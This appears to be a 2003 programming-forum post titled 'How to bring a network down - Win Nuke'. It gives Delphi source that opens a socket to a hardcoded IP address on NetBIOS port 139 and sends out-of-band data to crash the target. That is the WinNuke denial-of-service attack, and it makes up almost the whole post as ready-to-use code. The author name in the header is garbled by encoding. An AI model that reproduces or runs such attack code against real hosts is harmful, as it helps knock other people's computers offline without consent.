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  ±è¿µ´ë(2003-03-06 21:33:12, Hit : 7352, Vote : 2002
 How to bring a network down - "Win Nuke"

// Here's how to bring down a network computer.
// Unfortunately, this won't work if your network is prepared for it ;-(

uses
  WinSock;

procedure TForm1.Button1Click(Sender: TObject);
var
  point: TWSAData;
  RemoteAddress : TSockAddr;
  Socket: TSocket;
  s: String;
  ip_address: longint;
  numaddr: Integer;
begin
  s := '$' + IntToHex(192, 2) + IntToHex(186, 2) +
             IntToHex(167, 2) + IntToHex(199, 2);
  numaddr := StrToInt(s);
  Winsock.WSAStartup($0101, point);
  s := 'Png';
  ip_address := Winsock.htonl(numaddr);
  Socket := Winsock.Socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
  with RemoteAddress do
  begin
    Sin_Family := PF_INET;
    Sin_Port := Winsock.htons(139); // NetBios port!
    Sin_addr := TInAddr(ip_address);
  end;
  Winsock.Connect(Socket, RemoteAddress, SizeOf(RemoteAddress));
  Winsock.Send(Socket, pointer(@s[1])^, length(s), MSG_OOB);
  Winsock.CloseSocket(Socket);
end;





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